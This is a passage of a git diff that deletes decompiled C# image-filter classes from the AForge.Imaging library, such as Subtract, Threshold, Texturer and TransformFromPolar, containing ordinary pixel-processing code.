k < height; k++) - { - int num5 = 0; - while (num5 < width) - { - ptr[2] = (byte)((double)(int)ptr[2] * 0.299 + (double)(int)ptr[1] * 0.587 + (double)(int)(*ptr) * 0.114); - ptr[1] = ptr2[1]; - *ptr = *ptr2; - num5++; - ptr += 3; - ptr2 += 3; - } - ptr += num; - ptr2 += num2; - } - break; - } - case Algorithm.OptimizedAnaglyph: - { - for (int i = 0; i < height; i++) - { - int num3 = 0; - while (num3 < width) - { - ptr[2] = (byte)((double)(int)ptr[1] * 0.7 + (double)(int)(*ptr) * 0.3); - ptr[1] = ptr2[1]; - *ptr = *ptr2; - num3++; - ptr += 3; - ptr2 += 3; - } - ptr += num; - ptr2 += num2; - } - break; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/StuckiDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/StuckiDithering.cs deleted file mode 100644 index 5b9d33f..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/StuckiDithering.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class StuckiDithering : ErrorDiffusionToAdjacentNeighbors -{ - public StuckiDithering() - : base(new int[3][] - { - new int[2] { 8, 4 }, - new int[5] { 2, 4, 8, 4, 2 }, - new int[5] { 1, 2, 4, 2, 1 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Subtract.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Subtract.cs deleted file mode 100644 index d1479d0..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Subtract.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class Subtract : BaseInPlaceFilter2 -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Subtract() - { - InitFormatTranslations(); - } - - public Subtract(Bitmap overlayImage) - : base(overlayImage) - { - InitFormatTranslations(); - } - - public Subtract(UnmanagedImage unmanagedOverlayImage) - : base(unmanagedOverlayImage) - { - InitFormatTranslations(); - } - - private void InitFormatTranslations() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Invalid comparison between Unknown and I4 - //IL_0038: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Invalid comparison between Unknown and I4 - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0046: Invalid comparison between Unknown and I4 - //IL_0025: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002d: Unknown result type (might be due to invalid IL or missing references) - //IL_0033: Invalid comparison between Unknown and I4 - //IL_00e2: Unknown result type (might be due to invalid IL or missing references) - //IL_00e8: Invalid comparison between Unknown and I4 - //IL_00ea: Unknown result type (might be due to invalid IL or missing references) - //IL_00f0: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - if ((int)pixelFormat == 198659 || (int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - int num = (((int)pixelFormat == 198659) ? 1 : (((int)pixelFormat == 137224) ? 3 : 4)); - int num2 = width * num; - int num3 = image.Stride - num2; - int num4 = overlay.Stride - num2; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < num2) - { - int num6 = *ptr - *ptr2; - *ptr = (byte)((num6 >= 0) ? ((byte)num6) : 0); - num5++; - ptr++; - ptr2++; - } - ptr += num3; - ptr2 += num4; - } - return; - } - int num7 = (((int)pixelFormat == 1052676) ? 1 : (((int)pixelFormat == 1060876) ? 3 : 4)); - int num8 = width * num7; - int stride = image.Stride; - int stride2 = overlay.Stride; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - byte* ptr4 = (byte*)overlay.ImageData.ToPointer(); - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - int num9 = 0; - while (num9 < num8) - { - int num10 = *ptr5 - *ptr6; - *ptr5 = (ushort)((num10 >= 0) ? ((ushort)num10) : 0); - num9++; - ptr5++; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TexturedFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TexturedFilter.cs deleted file mode 100644 index ef613f8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TexturedFilter.cs +++ /dev/null @@ -1,278 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing.Imaging; -using AForge.Imaging.Textures; - -namespace AForge.Imaging.Filters; - -public class TexturedFilter : BaseFilter -{ - private ITextureGenerator textureGenerator; - - private float[,] texture; - - private IFilter filter1; - - private IFilter filter2; - - private double filterLevel = 1.0; - - private double preserveLevel; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public double FilterLevel - { - get - { - return filterLevel; - } - set - { - filterLevel = System.Math.Max(0.0, System.Math.Min(1.0, value)); - } - } - - public double PreserveLevel - { - get - { - return preserveLevel; - } - set - { - preserveLevel = System.Math.Max(0.0, System.Math.Min(1.0, value)); - } - } - - public float[,] Texture - { - get - { - return texture; - } - set - { - texture = value; - } - } - - public ITextureGenerator TextureGenerator - { - get - { - return textureGenerator; - } - set - { - textureGenerator = value; - } - } - - public IFilter Filter1 - { - get - { - return filter1; - } - set - { - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - //IL_0041: Invalid comparison between Unknown and I4 - //IL_004e: Unknown result type (might be due to invalid IL or missing references) - //IL_0058: Invalid comparison between Unknown and I4 - if (value is IFilterInformation) - { - IFilterInformation filterInformation = (IFilterInformation)value; - if (!filterInformation.FormatTranslations.ContainsKey((PixelFormat)137224)) - { - throw new UnsupportedImageFormatException("The specified filter does not support 24 bpp color images."); - } - if ((int)filterInformation.FormatTranslations[(PixelFormat)137224] != 137224 && (int)filterInformation.FormatTranslations[(PixelFormat)137224] != 198659) - { - throw new UnsupportedImageFormatException("The specified filter does not produce image of supported format."); - } - filter1 = value; - return; - } - throw new ArgumentException("The specified filter does not implement IFilterInformation interface."); - } - } - - public IFilter Filter2 - { - get - { - return filter2; - } - set - { - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - //IL_0041: Invalid comparison between Unknown and I4 - //IL_004e: Unknown result type (might be due to invalid IL or missing references) - //IL_0058: Invalid comparison between Unknown and I4 - if (value is IFilterInformation) - { - IFilterInformation filterInformation = (IFilterInformation)value; - if (!filterInformation.FormatTranslations.ContainsKey((PixelFormat)137224)) - { - throw new UnsupportedImageFormatException("The specified filter does not support 24 bpp color images."); - } - if ((int)filterInformation.FormatTranslations[(PixelFormat)137224] != 137224 && (int)filterInformation.FormatTranslations[(PixelFormat)137224] != 198659) - { - throw new UnsupportedImageFormatException("The specified filter does not produce image of supported format."); - } - filter2 = value; - return; - } - throw new ArgumentException("The specified filter does not implement IFilterInformation interface."); - } - } - - private TexturedFilter() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public TexturedFilter(float[,] texture, IFilter filter1) - : this() - { - this.texture = texture; - this.filter1 = filter1; - } - - public TexturedFilter(float[,] texture, IFilter filter1, IFilter filter2) - : this() - { - this.texture = texture; - this.filter1 = filter1; - this.filter2 = filter2; - } - - public TexturedFilter(ITextureGenerator generator, IFilter filter1) - : this() - { - textureGenerator = generator; - this.filter1 = filter1; - } - - public TexturedFilter(ITextureGenerator generator, IFilter filter1, IFilter filter2) - : this() - { - textureGenerator = generator; - this.filter1 = filter1; - this.filter2 = filter2; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_0085: Unknown result type (might be due to invalid IL or missing references) - //IL_008f: Invalid comparison between Unknown and I4 - //IL_00f0: Unknown result type (might be due to invalid IL or missing references) - //IL_00fa: Invalid comparison between Unknown and I4 - int width = sourceData.Width; - int height = sourceData.Height; - if (textureGenerator != null) - { - texture = textureGenerator.Generate(width, height); - } - else if (texture.GetLength(0) != height || texture.GetLength(1) != width) - { - throw new InvalidImagePropertiesException("Texture size does not match image size."); - } - UnmanagedImage unmanagedImage = filter1.Apply(sourceData); - if (width != unmanagedImage.Width || height != unmanagedImage.Height) - { - unmanagedImage.Dispose(); - throw new ApplicationException("Filters should not change image dimension."); - } - if ((int)unmanagedImage.PixelFormat == 198659) - { - GrayscaleToRGB grayscaleToRGB = new GrayscaleToRGB(); - UnmanagedImage unmanagedImage2 = grayscaleToRGB.Apply(unmanagedImage); - unmanagedImage.Dispose(); - unmanagedImage = unmanagedImage2; - } - UnmanagedImage unmanagedImage3 = null; - if (filter2 != null) - { - unmanagedImage3 = filter2.Apply(sourceData); - if (width != unmanagedImage3.Width || height != unmanagedImage3.Height) - { - unmanagedImage.Dispose(); - unmanagedImage3.Dispose(); - throw new ApplicationException("Filters should not change image dimension."); - } - if ((int)unmanagedImage3.PixelFormat == 198659) - { - GrayscaleToRGB grayscaleToRGB2 = new GrayscaleToRGB(); - UnmanagedImage unmanagedImage4 = grayscaleToRGB2.Apply(unmanagedImage3); - unmanagedImage3.Dispose(); - unmanagedImage3 = unmanagedImage4; - } - } - if (unmanagedImage3 == null) - { - unmanagedImage3 = sourceData; - } - byte* ptr = (byte*)destinationData.ImageData.ToPointer(); - byte* ptr2 = (byte*)unmanagedImage.ImageData.ToPointer(); - byte* ptr3 = (byte*)unmanagedImage3.ImageData.ToPointer(); - int num = destinationData.Stride - 3 * width; - int num2 = unmanagedImage.Stride - 3 * width; - int num3 = unmanagedImage3.Stride - 3 * width; - if (preserveLevel != 0.0) - { - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - double num4 = texture[i, j]; - double num5 = 1.0 - num4; - int num6 = 0; - while (num6 < 3) - { - *ptr = (byte)System.Math.Min(255.0, filterLevel * (num4 * (double)(int)(*ptr2) + num5 * (double)(int)(*ptr3)) + preserveLevel * (double)(int)(*ptr3)); - num6++; - ptr2++; - ptr3++; - ptr++; - } - } - ptr2 += num2; - ptr3 += num3; - ptr += num; - } - } - else - { - for (int k = 0; k < height; k++) - { - for (int l = 0; l < width; l++) - { - double num7 = texture[k, l]; - double num8 = 1.0 - num7; - int num9 = 0; - while (num9 < 3) - { - *ptr = (byte)System.Math.Min(255.0, num7 * (double)(int)(*ptr2) + num8 * (double)(int)(*ptr3)); - num9++; - ptr2++; - ptr3++; - ptr++; - } - } - ptr2 += num2; - ptr3 += num3; - ptr += num; - } - } - unmanagedImage.Dispose(); - if (unmanagedImage3 != sourceData) - { - unmanagedImage3.Dispose(); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TexturedMerge.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TexturedMerge.cs deleted file mode 100644 index 7108659..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TexturedMerge.cs +++ /dev/null @@ -1,101 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Imaging.Textures; - -namespace AForge.Imaging.Filters; - -public class TexturedMerge : BaseInPlaceFilter2 -{ - private ITextureGenerator textureGenerator; - - private float[,] texture; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public float[,] Texture - { - get - { - return texture; - } - set - { - texture = value; - } - } - - public ITextureGenerator TextureGenerator - { - get - { - return textureGenerator; - } - set - { - textureGenerator = value; - } - } - - private TexturedMerge() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public TexturedMerge(float[,] texture) - : this() - { - this.texture = texture; - } - - public TexturedMerge(ITextureGenerator generator) - : this() - { - textureGenerator = generator; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - //IL_0056: Unknown result type (might be due to invalid IL or missing references) - int width = image.Width; - int height = image.Height; - int num = width; - int num2 = height; - if (textureGenerator != null) - { - texture = textureGenerator.Generate(width, height); - } - else - { - num = System.Math.Min(width, texture.GetLength(1)); - num2 = System.Math.Min(height, texture.GetLength(0)); - } - int num3 = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int num4 = image.Stride - num * num3; - int num5 = overlay.Stride - num * num3; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - for (int i = 0; i < num2; i++) - { - for (int j = 0; j < num; j++) - { - double num6 = texture[i, j]; - double num7 = 1.0 - num6; - int num8 = 0; - while (num8 < num3) - { - *ptr = (byte)System.Math.Min(255.0, (double)(int)(*ptr) * num6 + (double)(int)(*ptr2) * num7); - num8++; - ptr++; - ptr2++; - } - } - ptr += num4; - ptr2 += num5; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Texturer.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Texturer.cs deleted file mode 100644 index 0a50a76..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Texturer.cs +++ /dev/null @@ -1,141 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Imaging.Textures; - -namespace AForge.Imaging.Filters; - -public class Texturer : BaseInPlacePartialFilter -{ - private ITextureGenerator textureGenerator; - - private float[,] texture; - - private double filterLevel = 0.5; - - private double preserveLevel = 0.5; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public double FilterLevel - { - get - { - return filterLevel; - } - set - { - filterLevel = System.Math.Max(0.0, System.Math.Min(1.0, value)); - } - } - - public double PreserveLevel - { - get - { - return preserveLevel; - } - set - { - preserveLevel = System.Math.Max(0.0, System.Math.Min(1.0, value)); - } - } - - public float[,] Texture - { - get - { - return texture; - } - set - { - texture = value; - } - } - - public ITextureGenerator TextureGenerator - { - get - { - return textureGenerator; - } - set - { - textureGenerator = value; - } - } - - private Texturer() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public Texturer(float[,] texture) - : this() - { - this.texture = texture; - } - - public Texturer(float[,] texture, double filterLevel, double preserveLevel) - : this() - { - this.texture = texture; - this.filterLevel = filterLevel; - this.preserveLevel = preserveLevel; - } - - public Texturer(ITextureGenerator generator) - : this() - { - textureGenerator = generator; - } - - public Texturer(ITextureGenerator generator, double filterLevel, double preserveLevel) - : this() - { - textureGenerator = generator; - this.filterLevel = filterLevel; - this.preserveLevel = preserveLevel; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int width = rect.Width; - int height = rect.Height; - int num2 = width; - int num3 = height; - if (textureGenerator != null) - { - texture = textureGenerator.Generate(width, height); - } - else - { - num2 = System.Math.Min(width, texture.GetLength(1)); - num3 = System.Math.Min(height, texture.GetLength(0)); - } - int num4 = image.Stride - num2 * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += rect.Top * image.Stride + rect.Left * num; - for (int i = 0; i < num3; i++) - { - for (int j = 0; j < num2; j++) - { - double num5 = texture[i, j]; - int num6 = 0; - while (num6 < num) - { - *ptr = (byte)System.Math.Min(255.0, preserveLevel * (double)(int)(*ptr) + filterLevel * (double)(int)(*ptr) * num5); - num6++; - ptr++; - } - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Threshold.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Threshold.cs deleted file mode 100644 index d3af750..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Threshold.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Threshold : BaseInPlacePartialFilter -{ - protected int threshold = 128; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int ThresholdValue - { - get - { - return threshold; - } - set - { - threshold = value; - } - } - - public Threshold() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - } - - public Threshold(int threshold) - : this() - { - this.threshold = threshold; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0025: Unknown result type (might be due to invalid IL or missing references) - //IL_002f: Invalid comparison between Unknown and I4 - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - if ((int)image.PixelFormat == 198659) - { - int num3 = image.Stride - rect.Width; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left; - for (int i = top; i < num2; i++) - { - int num4 = left; - while (num4 < num) - { - *ptr = (byte)((*ptr >= threshold) ? 255u : 0u); - num4++; - ptr++; - } - ptr += num3; - } - return; - } - byte* ptr2 = (byte*)image.ImageData.ToPointer() + (nint)left * (nint)2; - int stride = image.Stride; - for (int j = top; j < num2; j++) - { - ushort* ptr3 = (ushort*)(ptr2 + (nint)stride * (nint)j); - int num5 = left; - while (num5 < num) - { - *ptr3 = (ushort)((*ptr3 >= threshold) ? 65535u : 0u); - num5++; - ptr3++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdWithCarry.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdWithCarry.cs deleted file mode 100644 index 956b355..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdWithCarry.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ThresholdWithCarry : BaseInPlacePartialFilter -{ - private byte threshold = 128; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public byte ThresholdValue - { - get - { - return threshold; - } - set - { - threshold = value; - } - } - - public ThresholdWithCarry() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - public ThresholdWithCarry(byte threshold) - : this() - { - this.threshold = threshold; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - int num3 = image.Stride - rect.Width; - short num4 = 0; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left; - for (int i = top; i < num2; i++) - { - num4 = 0; - int num5 = left; - while (num5 < num) - { - num4 += *ptr; - if (num4 >= threshold) - { - *ptr = byte.MaxValue; - num4 -= 255; - } - else - { - *ptr = 0; - } - num5++; - ptr++; - } - ptr += num3; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdedDifference.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdedDifference.cs deleted file mode 100644 index 32a5a8b..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdedDifference.cs +++ /dev/null @@ -1,133 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ThresholdedDifference : BaseFilter2 -{ - private Dictionary formatTranslations = new Dictionary(); - - private int threshold = 15; - - private int whitePixelsCount; - - public int Threshold - { - get - { - return threshold; - } - set - { - threshold = value; - } - } - - public int WhitePixelsCount => whitePixelsCount; - - public override Dictionary FormatTranslations => formatTranslations; - - public ThresholdedDifference() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)198659; - formatTranslations[(PixelFormat)139273] = (PixelFormat)198659; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)198659; - formatTranslations[(PixelFormat)925707] = (PixelFormat)198659; - } - - public ThresholdedDifference(int threshold) - : this() - { - this.threshold = threshold; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage overlay, UnmanagedImage destinationData) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - whitePixelsCount = 0; - int width = sourceData.Width; - int height = sourceData.Height; - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - byte* ptr3 = (byte*)destinationData.ImageData.ToPointer(); - if (num == 1) - { - int num2 = sourceData.Stride - width; - int num3 = overlay.Stride - width; - int num4 = destinationData.Stride - width; - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < width) - { - int num6 = *ptr - *ptr2; - if (num6 < 0) - { - num6 = -num6; - } - if (num6 > threshold) - { - *ptr3 = byte.MaxValue; - whitePixelsCount++; - } - else - { - *ptr3 = 0; - } - num5++; - ptr++; - ptr2++; - ptr3++; - } - ptr += num2; - ptr2 += num3; - ptr3 += num4; - } - return; - } - int num7 = sourceData.Stride - num * width; - int num8 = overlay.Stride - num * width; - int num9 = destinationData.Stride - width; - for (int j = 0; j < height; j++) - { - int num10 = 0; - while (num10 < width) - { - int num11 = ptr[2] - ptr2[2]; - int num12 = ptr[1] - ptr2[1]; - int num13 = *ptr - *ptr2; - if (num11 < 0) - { - num11 = -num11; - } - if (num12 < 0) - { - num12 = -num12; - } - if (num13 < 0) - { - num13 = -num13; - } - if (num11 + num12 + num13 > threshold) - { - *ptr3 = byte.MaxValue; - whitePixelsCount++; - } - else - { - *ptr3 = 0; - } - num10++; - ptr += num; - ptr2 += num; - ptr3++; - } - ptr += num7; - ptr2 += num8; - ptr3 += num9; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdedEuclideanDifference.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdedEuclideanDifference.cs deleted file mode 100644 index bf31b4e..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ThresholdedEuclideanDifference.cs +++ /dev/null @@ -1,122 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ThresholdedEuclideanDifference : BaseFilter2 -{ - private Dictionary formatTranslations = new Dictionary(); - - private int threshold = 15; - - private int whitePixelsCount; - - public int Threshold - { - get - { - return threshold; - } - set - { - threshold = value; - } - } - - public int WhitePixelsCount => whitePixelsCount; - - public override Dictionary FormatTranslations => formatTranslations; - - public ThresholdedEuclideanDifference() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)198659; - formatTranslations[(PixelFormat)139273] = (PixelFormat)198659; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)198659; - formatTranslations[(PixelFormat)925707] = (PixelFormat)198659; - } - - public ThresholdedEuclideanDifference(int threshold) - : this() - { - this.threshold = threshold; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage overlay, UnmanagedImage destinationData) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - whitePixelsCount = 0; - int width = sourceData.Width; - int height = sourceData.Height; - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - byte* ptr3 = (byte*)destinationData.ImageData.ToPointer(); - if (num == 1) - { - int num2 = sourceData.Stride - width; - int num3 = overlay.Stride - width; - int num4 = destinationData.Stride - width; - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < width) - { - int num6 = *ptr - *ptr2; - if (num6 < 0) - { - num6 = -num6; - } - if (num6 > threshold) - { - *ptr3 = byte.MaxValue; - whitePixelsCount++; - } - else - { - *ptr3 = 0; - } - num5++; - ptr++; - ptr2++; - ptr3++; - } - ptr += num2; - ptr2 += num3; - ptr3 += num4; - } - return; - } - int num7 = sourceData.Stride - num * width; - int num8 = overlay.Stride - num * width; - int num9 = destinationData.Stride - width; - int num10 = threshold * threshold; - for (int j = 0; j < height; j++) - { - int num11 = 0; - while (num11 < width) - { - int num12 = ptr[2] - ptr2[2]; - int num13 = ptr[1] - ptr2[1]; - int num14 = *ptr - *ptr2; - if (num12 * num12 + num13 * num13 + num14 * num14 > num10) - { - *ptr3 = byte.MaxValue; - whitePixelsCount++; - } - else - { - *ptr3 = 0; - } - num11++; - ptr += num; - ptr2 += num; - ptr3++; - } - ptr += num7; - ptr2 += num8; - ptr3 += num9; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TopHat.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TopHat.cs deleted file mode 100644 index d12ac75..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TopHat.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class TopHat : BaseInPlaceFilter -{ - private Opening opening = new Opening(); - - private Subtract subtract = new Subtract(); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public TopHat() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - } - - public TopHat(short[,] se) - : this() - { - opening = new Opening(se); - } - - protected override void ProcessFilter(UnmanagedImage image) - { - UnmanagedImage unmanagedImage = opening.Apply(image); - subtract.UnmanagedOverlayImage = unmanagedImage; - subtract.ApplyInPlace(image); - unmanagedImage.Dispose(); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TransformFromPolar.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TransformFromPolar.cs deleted file mode 100644 index b7f4517..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/TransformFromPolar.cs +++ /dev/null @@ -1,201 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class TransformFromPolar : BaseTransformationFilter -{ - private const double Pi2 = System.Math.PI * 2.0; - - private const double PiHalf = System.Math.PI / 2.0; - - private double circleDepth = 1.0; - - private double offsetAngle; - - private bool mapBackwards; - - private bool mapFromTop = true; - - private Size newSize = new Size(200, 200); - - private bool useOriginalImageSize = true; - - private Dictionary formatTranslations = new Dictionary(); - - public double CirlceDepth - { - get - { - return circleDepth; - } - set - { - circleDepth = System.Math.Max(0.0, System.Math.Min(1.0, value)); - } - } - - public double OffsetAngle - { - get - { - return offsetAngle; - } - set - { - offsetAngle = System.Math.Max(-360.0, System.Math.Min(360.0, value)); - } - } - - public bool MapBackwards - { - get - { - return mapBackwards; - } - set - { - mapBackwards = value; - } - } - - public bool MapFromTop - { - get - { - return mapFromTop; - } - set - { - mapFromTop = value; - } - } - - public Size NewSize - { - get - { - return newSize; - } - set - { - newSize = new Size(System.Math.Max(1, System.Math.Min(10000, value.Width)), System.Math.Max(1, System.Math.Min(10000, value.Height))); - } - } - - public bool UseOriginalImageSize - { - get - { - return useOriginalImageSize; - } - set - { - useOriginalImageSize = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public TransformFromPolar() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)925707] = (PixelFormat)925707; - } - - protected override Size CalculateNewImageSize(UnmanagedImage sourceData) - { - if (!useOriginalImageSize) - { - return newSize; - } - return new Size(sourceData.Width, sourceData.Height); - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(destinationData.PixelFormat) / 8; - int width = sourceData.Width; - int height = sourceData.Height; - int num2 = width - 1; - int num3 = height - 1; - int width2 = destinationData.Width; - int height2 = destinationData.Height; - int num4 = height2 - 1; - double num5 = 1.0 - circleDepth; - double num6 = (double)num2 / 2.0; - double num7 = (double)num3 / 2.0; - double num8 = ((num6 < num7) ? num6 : num7); - num8 -= num8 * num5; - double num9 = System.Math.Atan2(num7, num6); - double num10 = (mapBackwards ? offsetAngle : (0.0 - offsetAngle)) / 180.0 * System.Math.PI + System.Math.PI / 2.0; - 